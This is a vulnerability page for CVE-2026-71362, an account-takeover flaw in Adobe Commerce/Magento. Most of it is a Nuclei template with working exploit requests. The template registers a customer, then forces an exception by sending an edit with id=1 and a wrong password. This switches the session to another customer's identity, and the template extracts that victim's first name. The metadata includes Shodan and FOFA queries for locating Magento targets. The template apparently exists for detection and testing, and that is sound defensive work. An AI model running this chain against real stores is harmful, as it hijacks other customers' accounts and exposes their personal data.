CVE-2026-71362: Adobe Commerce/Magento - Customer Session Identity Switch

2026-08-18 Adobe Commerce Magento PoC Public

Description

Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.

PoC

id: CVE-2026-71362

info:
  name: Adobe Commerce/Magento - Customer Session Identity Switch
  author: 0x_Akoko,dinosn
  severity: critical
  description: |
    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.
  impact: |
    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.
  remediation: |
    Update to the latest version of Adobe Commerce.
  reference:
    - https://helpx.adobe.com/security/products/magento/apsb26-92.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362
    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92
    - https://github.com/dinosn/cve-2026-71362-magento-lab
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-71362
    epss-score: 0.2452
    epss-percentile: 0.97763
    cwe-id: CWE-863
  metadata:
    max-request: 6
    verified: true
    vendor: adobe
    product: magento
    shodan-query: http.component:"Magento"
    fofa-query: app="Magento"
  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev

variables:
  rnd: "{{rand_int(100000, 999999)}}"
  email: "poctest{{rnd}}@poctest.invalid"
  password: "PoCPwd#{{rnd}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /customer/account/create HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "form_key")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/createPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/create

        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PoCTestCVE")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fk
        group: 1
        regex:
          - 'name="form_key"[^>]*value="([^"]+)"'
        internal: true

      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        POST /customer/account/editPost HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{sessid}}
        Referer: {{BaseURL}}/customer/account/edit

        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/account/edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: sessid
        part: header
        group: 1
        regex:
          - '(?i)Set-Cookie:\s*(PHPSESSID=[^;]+)'
        internal: true

  - raw:
      - |
        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{sessid}}
        X-Requested-With: XMLHttpRequest

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "PoCTestCVE")'
          - 'regex("\"firstname\":\"[A-Za-z0-9]", body)'
        condition: and

    extractors:
      - type: regex
        name: victim_firstname
        group: 1
        regex:
          - '"firstname":"([^"]+)"'
# digest: 4b0a00483046022100e8798eeabc6946a81ff479bb9c079d1c19544ca138f21af6d568b902362f3e15022100dc7550fbeaa64c2e3d9e0a1bf16efcc637d584d99271d6d2aed8a5145f00a89a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities